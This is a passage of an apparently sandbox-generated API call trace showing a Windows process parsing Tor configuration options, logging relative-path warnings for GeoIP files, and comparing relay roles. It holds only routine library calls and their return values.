(_Str1="EnforceDistinctSubnets", _Str2="EnforceDistinctSubnets") returned 0 [0115.377] strtol (in: _Str="1", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 1 [0115.377] _errno () returned 0x9f07d8 [0115.377] strcmp (_Str1="EntryNodes", _Str2="EntryNodes") returned 0 [0115.377] strcmp (_Str1="EntryNodes", _Str2="EntryNodes") returned 0 [0115.377] strcmp (_Str1="EntryStatistics", _Str2="EntryStatistics") returned 0 [0115.377] strcmp (_Str1="EntryStatistics", _Str2="EntryStatistics") returned 0 [0115.377] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.377] _errno () returned 0x9f07d8 [0115.377] strcmp (_Str1="TestingEstimatedDescriptorPropagationTime", _Str2="TestingEstimatedDescriptorPropagationTime") returned 0 [0115.377] strcmp (_Str1="TestingEstimatedDescriptorPropagationTime", _Str2="TestingEstimatedDescriptorPropagationTime") returned 0 [0115.377] _errno () returned 0x9f07d8 [0115.377] strcmp (_Str1="ExcludeNodes", _Str2="ExcludeNodes") returned 0 [0115.377] strcmp (_Str1="ExcludeNodes", _Str2="ExcludeNodes") returned 0 [0115.377] strcmp (_Str1="ExcludeExitNodes", _Str2="ExcludeExitNodes") returned 0 [0115.377] strcmp (_Str1="ExcludeExitNodes", _Str2="ExcludeExitNodes") returned 0 [0115.377] strcmp (_Str1="ExcludeSingleHopRelays", _Str2="ExcludeSingleHopRelays") returned 0 [0115.377] strcmp (_Str1="ExcludeSingleHopRelays", _Str2="ExcludeSingleHopRelays") returned 0 [0115.377] strtol (in: _Str="1", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 1 [0115.377] _errno () returned 0x9f07d8 [0115.377] strcmp (_Str1="ExitNodes", _Str2="ExitNodes") returned 0 [0115.377] strcmp (_Str1="ExitNodes", _Str2="ExitNodes") returned 0 [0115.377] strcmp (_Str1="ExitPolicyRejectPrivate", _Str2="ExitPolicyRejectPrivate") returned 0 [0115.377] strcmp (_Str1="ExitPolicyRejectPrivate", _Str2="ExitPolicyRejectPrivate") returned 0 [0115.377] strtol (in: _Str="1", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 1 [0115.377] _errno () returned 0x9f07d8 [0115.377] strcmp (_Str1="ExitPortStatistics", _Str2="ExitPortStatistics") returned 0 [0115.378] strcmp (_Str1="ExitPortStatistics", _Str2="ExitPortStatistics") returned 0 [0115.378] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.378] _errno () returned 0x9f07d8 [0115.378] strcmp (_Str1="ExtendAllowPrivateAddresses", _Str2="ExtendAllowPrivateAddresses") returned 0 [0115.378] strcmp (_Str1="ExtendAllowPrivateAddresses", _Str2="ExtendAllowPrivateAddresses") returned 0 [0115.378] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.378] _errno () returned 0x9f07d8 [0115.378] strcmp (_Str1="ExitRelay", _Str2="ExitRelay") returned 0 [0115.378] strcmp (_Str1="ExitRelay", _Str2="ExitRelay") returned 0 [0115.378] strcmp (_Str1="auto", _Str2="auto") returned 0 [0115.378] strcmp (_Str1="ExtORPortCookieAuthFileGroupReadable", _Str2="ExtORPortCookieAuthFileGroupReadable") returned 0 [0115.378] strcmp (_Str1="ExtORPortCookieAuthFileGroupReadable", _Str2="ExtORPortCookieAuthFileGroupReadable") returned 0 [0115.378] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.378] _errno () returned 0x9f07d8 [0115.378] strcmp (_Str1="ExtraInfoStatistics", _Str2="ExtraInfoStatistics") returned 0 [0115.378] strcmp (_Str1="ExtraInfoStatistics", _Str2="ExtraInfoStatistics") returned 0 [0115.378] strtol (in: _Str="1", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 1 [0115.378] _errno () returned 0x9f07d8 [0115.378] strcmp (_Str1="UseDefaultFallbackDirs", _Str2="UseDefaultFallbackDirs") returned 0 [0115.378] strcmp (_Str1="UseDefaultFallbackDirs", _Str2="UseDefaultFallbackDirs") returned 0 [0115.378] strtol (in: _Str="1", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 1 [0115.378] _errno () returned 0x9f07d8 [0115.378] strcmp (_Str1="FascistFirewall", _Str2="FascistFirewall") returned 0 [0115.378] strcmp (_Str1="FascistFirewall", _Str2="FascistFirewall") returned 0 [0115.378] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.378] _errno () returned 0x9f07d8 [0115.378] strcmp (_Str1="FirewallPorts", _Str2="FirewallPorts") returned 0 [0115.378] strcmp (_Str1="FirewallPorts", _Str2="FirewallPorts") returned 0 [0115.379] strcmp (_Str1="FastFirstHopPK", _Str2="FastFirstHopPK") returned 0 [0115.379] strcmp (_Str1="FastFirstHopPK", _Str2="FastFirstHopPK") returned 0 [0115.379] strcmp (_Str1="auto", _Str2="auto") returned 0 [0115.379] strcmp (_Str1="FetchDirInfoEarly", _Str2="FetchDirInfoEarly") returned 0 [0115.379] strcmp (_Str1="FetchDirInfoEarly", _Str2="FetchDirInfoEarly") returned 0 [0115.379] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.379] _errno () returned 0x9f07d8 [0115.379] strcmp (_Str1="FetchDirInfoExtraEarly", _Str2="FetchDirInfoExtraEarly") returned 0 [0115.379] strcmp (_Str1="FetchDirInfoExtraEarly", _Str2="FetchDirInfoExtraEarly") returned 0 [0115.379] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.379] _errno () returned 0x9f07d8 [0115.379] strcmp (_Str1="FetchServerDescriptors", _Str2="FetchServerDescriptors") returned 0 [0115.379] strcmp (_Str1="FetchServerDescriptors", _Str2="FetchServerDescriptors") returned 0 [0115.379] strtol (in: _Str="1", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 1 [0115.379] _errno () returned 0x9f07d8 [0115.379] strcmp (_Str1="FetchHidServDescriptors", _Str2="FetchHidServDescriptors") returned 0 [0115.379] strcmp (_Str1="FetchHidServDescriptors", _Str2="FetchHidServDescriptors") returned 0 [0115.379] strtol (in: _Str="1", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 1 [0115.379] _errno () returned 0x9f07d8 [0115.379] strcmp (_Str1="FetchUselessDescriptors", _Str2="FetchUselessDescriptors") returned 0 [0115.379] strcmp (_Str1="FetchUselessDescriptors", _Str2="FetchUselessDescriptors") returned 0 [0115.379] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.379] _errno () returned 0x9f07d8 [0115.379] strcmp (_Str1="GeoIPExcludeUnknown", _Str2="GeoIPExcludeUnknown") returned 0 [0115.379] strcmp (_Str1="GeoIPExcludeUnknown", _Str2="GeoIPExcludeUnknown") returned 0 [0115.379] strcmp (_Str1="auto", _Str2="auto") returned 0 [0115.379] strcmp (_Str1="GeoIPFile", _Str2="GeoIPFile") returned 0 [0115.379] strcmp (_Str1="GeoIPFile", _Str2="GeoIPFile") returned 0 [0115.379] strcmp (_Str1="GeoIPv6File", _Str2="GeoIPv6File") returned 0 [0115.380] strcmp (_Str1="GeoIPv6File", _Str2="GeoIPv6File") returned 0 [0115.380] strcmp (_Str1="GuardLifetime", _Str2="GuardLifetime") returned 0 [0115.380] strcmp (_Str1="GuardLifetime", _Str2="GuardLifetime") returned 0 [0115.380] _errno () returned 0x9f07d8 [0115.380] strcmp (_Str1="HardwareAccel", _Str2="HardwareAccel") returned 0 [0115.380] strcmp (_Str1="HardwareAccel", _Str2="HardwareAccel") returned 0 [0115.380] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.380] _errno () returned 0x9f07d8 [0115.380] strcmp (_Str1="HeartbeatPeriod", _Str2="HeartbeatPeriod") returned 0 [0115.380] strcmp (_Str1="HeartbeatPeriod", _Str2="HeartbeatPeriod") returned 0 [0115.380] _errno () returned 0x9f07d8 [0115.380] strcmp (_Str1="HiddenServiceStatistics", _Str2="HiddenServiceStatistics") returned 0 [0115.380] strcmp (_Str1="HiddenServiceStatistics", _Str2="HiddenServiceStatistics") returned 0 [0115.380] strtol (in: _Str="1", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 1 [0115.380] _errno () returned 0x9f07d8 [0115.380] strcmp (_Str1="CloseHSClientCircuitsImmediatelyOnTimeout", _Str2="CloseHSClientCircuitsImmediatelyOnTimeout") returned 0 [0115.380] strcmp (_Str1="CloseHSClientCircuitsImmediatelyOnTimeout", _Str2="CloseHSClientCircuitsImmediatelyOnTimeout") returned 0 [0115.380] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.380] _errno () returned 0x9f07d8 [0115.380] strcmp (_Str1="CloseHSServiceRendCircuitsImmediatelyOnTimeout", _Str2="CloseHSServiceRendCircuitsImmediatelyOnTimeout") returned 0 [0115.380] strcmp (_Str1="CloseHSServiceRendCircuitsImmediatelyOnTimeout", _Str2="CloseHSServiceRendCircuitsImmediatelyOnTimeout") returned 0 [0115.380] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.380] _errno () returned 0x9f07d8 [0115.380] strcmp (_Str1="IPv6Exit", _Str2="IPv6Exit") returned 0 [0115.380] strcmp (_Str1="IPv6Exit", _Str2="IPv6Exit") returned 0 [0115.380] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.380] _errno () returned 0x9f07d8 [0115.380] strcmp (_Str1="SigningKeyLifetime", _Str2="SigningKeyLifetime") returned 0 [0115.381] strcmp (_Str1="SigningKeyLifetime", _Str2="SigningKeyLifetime") returned 0 [0115.381] _errno () returned 0x9f07d8 [0115.381] strcmp (_Str1="KeepalivePeriod", _Str2="KeepalivePeriod") returned 0 [0115.381] strcmp (_Str1="KeepalivePeriod", _Str2="KeepalivePeriod") returned 0 [0115.381] _errno () returned 0x9f07d8 [0115.381] strcmp (_Str1="KeepBindCapabilities", _Str2="KeepBindCapabilities") returned 0 [0115.381] strcmp (_Str1="KeepBindCapabilities", _Str2="KeepBindCapabilities") returned 0 [0115.381] strcmp (_Str1="auto", _Str2="auto") returned 0 [0115.381] strcmp (_Str1="LogMessageDomains", _Str2="LogMessageDomains") returned 0 [0115.381] strcmp (_Str1="LogMessageDomains", _Str2="LogMessageDomains") returned 0 [0115.381] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.381] _errno () returned 0x9f07d8 [0115.381] strcmp (_Str1="LogTimeGranularity", _Str2="LogTimeGranularity") returned 0 [0115.381] strcmp (_Str1="LogTimeGranularity", _Str2="LogTimeGranularity") returned 0 [0115.381] _errno () returned 0x9f07d8 [0115.381] strcmp (_Str1="TruncateLogFile", _Str2="TruncateLogFile") returned 0 [0115.381] strcmp (_Str1="TruncateLogFile", _Str2="TruncateLogFile") returned 0 [0115.381] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.381] _errno () returned 0x9f07d8 [0115.381] strcmp (_Str1="LongLivedPorts", _Str2="LongLivedPorts") returned 0 [0115.381] strcmp (_Str1="LongLivedPorts", _Str2="LongLivedPorts") returned 0 [0115.381] strcmp (_Str1="MaxAdvertisedBandwidth", _Str2="MaxAdvertisedBandwidth") returned 0 [0115.381] strcmp (_Str1="MaxAdvertisedBandwidth", _Str2="MaxAdvertisedBandwidth") returned 0 [0115.381] _errno () returned 0x9f07d8 [0115.381] strcmp (_Str1="MaxCircuitDirtiness", _Str2="MaxCircuitDirtiness") returned 0 [0115.381] strcmp (_Str1="MaxCircuitDirtiness", _Str2="MaxCircuitDirtiness") returned 0 [0115.382] _errno () returned 0x9f07d8 [0115.382] strcmp (_Str1="MaxClientCircuitsPending", _Str2="MaxClientCircuitsPending") returned 0 [0115.382] strcmp (_Str1="MaxClientCircuitsPending", _Str2="MaxClientCircuitsPending") returned 0 [0115.382] strtol (in: _Str="32", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 32 [0115.382] _errno () returned 0x9f07d8 [0115.382] strcmp (_Str1="MaxMemInQueues", _Str2="MaxMemInQueues") returned 0 [0115.382] strcmp (_Str1="MaxMemInQueues", _Str2="MaxMemInQueues") returned 0 [0115.382] _errno () returned 0x9f07d8 [0115.382] strcmp (_Str1="MaxOnionQueueDelay", _Str2="MaxOnionQueueDelay") returned 0 [0115.382] strcmp (_Str1="MaxOnionQueueDelay", _Str2="MaxOnionQueueDelay") returned 0 [0115.382] _errno () returned 0x9f07d8 [0115.382] strcmp (_Str1="MinMeasuredBWsForAuthToIgnoreAdvertised", _Str2="MinMeasuredBWsForAuthToIgnoreAdvertised") returned 0 [0115.382] strcmp (_Str1="MinMeasuredBWsForAuthToIgnoreAdvertised", _Str2="MinMeasuredBWsForAuthToIgnoreAdvertised") returned 0 [0115.382] strtol (in: _Str="500", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 500 [0115.382] _errno () returned 0x9f07d8 [0115.382] strcmp (_Str1="NewCircuitPeriod", _Str2="NewCircuitPeriod") returned 0 [0115.382] strcmp (_Str1="NewCircuitPeriod", _Str2="NewCircuitPeriod") returned 0 [0115.382] _errno () returned 0x9f07d8 [0115.382] strcmp (_Str1="PredictedPortsRelevanceTime", _Str2="PredictedPortsRelevanceTime") returned 0 [0115.382] strcmp (_Str1="PredictedPortsRelevanceTime", _Str2="PredictedPortsRelevanceTime") returned 0 [0115.382] _errno () returned 0x9f07d8 [0115.382] strcmp (_Str1="WarnUnsafeSocks", _Str2="WarnUnsafeSocks") returned 0 [0115.382] strcmp (_Str1="WarnUnsafeSocks", _Str2="WarnUnsafeSocks") returned 0 [0115.382] strtol (in: _Str="1", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 1 [0115.382] _errno () returned 0x9f07d8 [0115.382] strcmp (_Str1="NumCPUs", _Str2="NumCPUs") returned 0 [0115.383] strcmp (_Str1="NumCPUs", _Str2="NumCPUs") returned 0 [0115.383] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.383] _errno () returned 0x9f07d8 [0115.383] strcmp (_Str1="NumDirectoryGuards", _Str2="NumDirectoryGuards") returned 0 [0115.383] strcmp (_Str1="NumDirectoryGuards", _Str2="NumDirectoryGuards") returned 0 [0115.383] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.383] _errno () returned 0x9f07d8 [0115.383] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.383] _errno () returned 0x9f07d8 [0115.383] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.383] _errno () returned 0x9f07d8 [0115.383] strtol (in: _Str="-1", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned -1 [0115.383] _errno () returned 0x9f07d8 [0115.383] atof (_String="-1.000000") returned 0x9f07d0 [0115.383] atof (_String="-1.000000") returned 0x9f07d0 [0115.383] atof (_String="-1.000000") returned 0x9f07d0 [0115.383] strtol (in: _Str="-1", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned -1 [0115.383] _errno () returned 0x9f07d8 [0115.383] strtol (in: _Str="-1", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned -1 [0115.383] _errno () returned 0x9f07d8 [0115.383] atof (_String="-1.000000") returned 0x9f07d0 [0115.383] atof (_String="-1.000000") returned 0x9f07d0 [0115.383] strtol (in: _Str="-1", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned -1 [0115.383] _errno () returned 0x9f07d8 [0115.383] atof (_String="-1.000000") returned 0x9f07d0 [0115.383] _errno () returned 0x9f07d8 [0115.383] _errno () returned 0x9f07d8 [0115.384] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.384] _errno () returned 0x9f07d8 [0115.384] _errno () returned 0x9f07d8 [0115.384] _errno () returned 0x9f07d8 [0115.384] _errno () returned 0x9f07d8 [0115.384] _errno () returned 0x9f07d8 [0115.384] _errno () returned 0x9f07d8 [0115.384] _errno () returned 0x9f07d8 [0115.384] _errno () returned 0x9f07d8 [0115.384] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.384] _errno () returned 0x9f07d8 [0115.384] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.384] _errno () returned 0x9f07d8 [0115.384] strtol (in: _Str="1", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 1 [0115.384] _errno () returned 0x9f07d8 [0115.384] _errno () returned 0x9f07d8 [0115.384] _errno () returned 0x9f07d8 [0115.384] _errno () returned 0x9f07d8 [0115.384] _errno () returned 0x9f07d8 [0115.384] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.384] _errno () returned 0x9f07d8 [0115.384] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.384] _errno () returned 0x9f07d8 [0115.385] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.385] _errno () returned 0x9f07d8 [0115.385] strtol (in: _Str="1", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 1 [0115.385] _errno () returned 0x9f07d8 [0115.385] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.385] _errno () returned 0x9f07d8 [0115.385] strtol (in: _Str="1", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 1 [0115.385] _errno () returned 0x9f07d8 [0115.385] strtol (in: _Str="1", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 1 [0115.385] _errno () returned 0x9f07d8 [0115.385] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.385] _errno () returned 0x9f07d8 [0115.385] _errno () returned 0x9f07d8 [0115.385] _errno () returned 0x9f07d8 [0115.385] strtol (in: _Str="1000", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 1000 [0115.385] _errno () returned 0x9f07d8 [0115.418] _errno () returned 0x9f07d8 [0115.418] _errno () returned 0x9f07d8 [0115.419] _errno () returned 0x9f07d8 [0115.419] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.419] _errno () returned 0x9f07d8 [0115.419] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.419] _errno () returned 0x9f07d8 [0115.419] _errno () returned 0x9f07d8 [0115.419] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.419] _errno () returned 0x9f07d8 [0115.419] _errno () returned 0x9f07d8 [0115.419] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.419] _errno () returned 0x9f07d8 [0115.419] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.419] _errno () returned 0x9f07d8 [0115.419] strtol (in: _Str="1", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 1 [0115.419] _errno () returned 0x9f07d8 [0115.419] strtol (in: _Str="1", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 1 [0115.419] _errno () returned 0x9f07d8 [0115.419] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.419] _errno () returned 0x9f07d8 [0115.419] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.419] _errno () returned 0x9f07d8 [0115.419] _errno () returned 0x9f07d8 [0115.419] _errno () returned 0x9f07d8 [0115.419] _errno () returned 0x9f07d8 [0115.419] _errno () returned 0x9f07d8 [0115.420] _errno () returned 0x9f07d8 [0115.420] _errno () returned 0x9f07d8 [0115.420] _errno () returned 0x9f07d8 [0115.420] strtol (in: _Str="3", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 3 [0115.420] _errno () returned 0x9f07d8 [0115.420] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.420] _errno () returned 0x9f07d8 [0115.420] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.420] _errno () returned 0x9f07d8 [0115.420] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.420] _errno () returned 0x9f07d8 [0115.420] strtol (in: _Str="1", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 1 [0115.420] _errno () returned 0x9f07d8 [0115.420] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.420] _errno () returned 0x9f07d8 [0115.420] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.420] _errno () returned 0x9f07d8 [0115.420] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.420] _errno () returned 0x9f07d8 [0115.420] _errno () returned 0x9f07d8 [0115.420] _errno () returned 0x9f07d8 [0115.420] _errno () returned 0x9f07d8 [0115.421] _errno () returned 0x9f07d8 [0115.421] _errno () returned 0x9f07d8 [0115.421] _errno () returned 0x9f07d8 [0115.421] _errno () returned 0x9f07d8 [0115.421] _errno () returned 0x9f07d8 [0115.421] _errno () returned 0x9f07d8 [0115.421] _errno () returned 0x9f07d8 [0115.421] _errno () returned 0x9f07d8 [0115.421] _errno () returned 0x9f07d8 [0115.421] _errno () returned 0x9f07d8 [0115.421] _errno () returned 0x9f07d8 [0115.421] _errno () returned 0x9f07d8 [0115.421] _errno () returned 0x9f07d8 [0115.421] _errno () returned 0x9f07d8 [0115.421] _errno () returned 0x9f07d8 [0115.421] _errno () returned 0x9f07d8 [0115.421] _errno () returned 0x9f07d8 [0115.421] _errno () returned 0x9f07d8 [0115.421] _errno () returned 0x9f07d8 [0115.421] _errno () returned 0x9f07d8 [0115.421] _errno () returned 0x9f07d8 [0115.421] _errno () returned 0x9f07d8 [0115.421] _errno () returned 0x9f07d8 [0115.422] _errno () returned 0x9f07d8 [0115.422] _errno () returned 0x9f07d8 [0115.422] _errno () returned 0x9f07d8 [0115.422] _errno () returned 0x9f07d8 [0115.422] _errno () returned 0x9f07d8 [0115.422] _errno () returned 0x9f07d8 [0115.422] _errno () returned 0x9f07d8 [0115.422] _errno () returned 0x9f07d8 [0115.422] _errno () returned 0x9f07d8 [0115.422] _errno () returned 0x9f07d8 [0115.422] _errno () returned 0x9f07d8 [0115.422] _errno () returned 0x9f07d8 [0115.422] _errno () returned 0x9f07d8 [0115.422] _errno () returned 0x9f07d8 [0115.422] _errno () returned 0x9f07d8 [0115.422] _errno () returned 0x9f07d8 [0115.422] _errno () returned 0x9f07d8 [0115.422] _errno () returned 0x9f07d8 [0115.422] _errno () returned 0x9f07d8 [0115.422] _errno () returned 0x9f07d8 [0115.422] _errno () returned 0x9f07d8 [0115.422] _errno () returned 0x9f07d8 [0115.422] _errno () returned 0x9f07d8 [0115.422] _errno () returned 0x9f07d8 [0115.423] _errno () returned 0x9f07d8 [0115.423] _errno () returned 0x9f07d8 [0115.423] _errno () returned 0x9f07d8 [0115.423] _errno () returned 0x9f07d8 [0115.423] _errno () returned 0x9f07d8 [0115.423] _errno () returned 0x9f07d8 [0115.423] _errno () returned 0x9f07d8 [0115.423] _errno () returned 0x9f07d8 [0115.423] _errno () returned 0x9f07d8 [0115.423] _errno () returned 0x9f07d8 [0115.423] _errno () returned 0x9f07d8 [0115.423] _errno () returned 0x9f07d8 [0115.423] _errno () returned 0x9f07d8 [0115.423] _errno () returned 0x9f07d8 [0115.423] _errno () returned 0x9f07d8 [0115.423] _errno () returned 0x9f07d8 [0115.423] _errno () returned 0x9f07d8 [0115.423] strtol (in: _Str="3", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 3 [0115.423] _errno () returned 0x9f07d8 [0115.423] _errno () returned 0x9f07d8 [0115.423] _errno () returned 0x9f07d8 [0115.423] _errno () returned 0x9f07d8 [0115.423] _errno () returned 0x9f07d8 [0115.423] _errno () returned 0x9f07d8 [0115.424] _errno () returned 0x9f07d8 [0115.424] strtol (in: _Str="8", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 8 [0115.424] _errno () returned 0x9f07d8 [0115.424] strtol (in: _Str="7", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 7 [0115.424] _errno () returned 0x9f07d8 [0115.424] strtol (in: _Str="4", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 4 [0115.424] _errno () returned 0x9f07d8 [0115.424] strtol (in: _Str="8", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 8 [0115.424] _errno () returned 0x9f07d8 [0115.424] strtol (in: _Str="8", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 8 [0115.424] _errno () returned 0x9f07d8 [0115.424] strtol (in: _Str="8", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 8 [0115.424] _errno () returned 0x9f07d8 [0115.424] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.424] _errno () returned 0x9f07d8 [0115.424] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.424] _errno () returned 0x9f07d8 [0115.424] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.424] _errno () returned 0x9f07d8 [0115.424] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.424] _errno () returned 0x9f07d8 [0115.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36caa0 | out: lpSystemTimeAsFileTime=0x36caa0*(dwLowDateTime=0x3b5244f0, dwHighDateTime=0x1d31ac1)) [0115.424] localtime (param_1=0x36caf0) returned 0x841688 [0115.424] strftime (in: _Buf=0x36cc1c, _SizeInBytes=0x27fe, _Format="%b %d %H:%M:%S", _Tm=0x841688 | out: _Buf="Aug 22 01:35:35") returned 0xf [0115.424] _vsnprintf (in: _DstBuf=0x36cc2b, _MaxCount=0x27ef, _Format=".%.3i [%s] ", _ArgList=0x36cacc | out: _DstBuf=".013 [warn] ") returned 12 [0115.424] _vsnprintf (in: _DstBuf=0x36cc37, _MaxCount=0x27e3, _Format="Path for %s (%s) is relative and will resolve to %s. Is this what you wanted?", _ArgList=0x36f490 | out: _DstBuf="Path for GeoIPFile () is relative and will resolve to C:\\Windows\\system32\\. Is this what you wanted?") returned 118 [0115.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36caa0 | out: lpSystemTimeAsFileTime=0x36caa0*(dwLowDateTime=0x3b5244f0, dwHighDateTime=0x1d31ac1)) [0115.425] localtime (param_1=0x36caf0) returned 0x841688 [0115.425] strftime (in: _Buf=0x36cc1c, _SizeInBytes=0x27fe, _Format="%b %d %H:%M:%S", _Tm=0x841688 | out: _Buf="Aug 22 01:35:35") returned 0xf [0115.425] _vsnprintf (in: _DstBuf=0x36cc2b, _MaxCount=0x27ef, _Format=".%.3i [%s] ", _ArgList=0x36cacc | out: _DstBuf=".013 [warn] ") returned 12 [0115.425] _vsnprintf (in: _DstBuf=0x36cc37, _MaxCount=0x27e3, _Format="Path for %s (%s) is relative and will resolve to %s. Is this what you wanted?", _ArgList=0x36f490 | out: _DstBuf="Path for GeoIPv6File () is relative and will resolve to C:\\Windows\\system32\\. Is this what you wanted?") returned 120 [0115.425] htonl (hostlong=0x7f000001) returned 0x100007f [0115.426] GlobalMemoryStatusEx (in: lpBuffer=0x36f428 | out: lpBuffer=0x36f428) returned 1 [0115.426] _strcmpi (_Str1="middle", _Str2="entry") returned 1 [0115.426] _strcmpi (_Str1="middle", _Str2="exit") returned 1 [0115.426] _strcmpi (_Str1="middle", _Str2="middle") returned 0 [0115.426] _strcmpi (_Str1="rendezvous", _Str2="entry") returned 1 [0115.426] _strcmpi (_Str1="rendezvous", _Str2="exit") returned 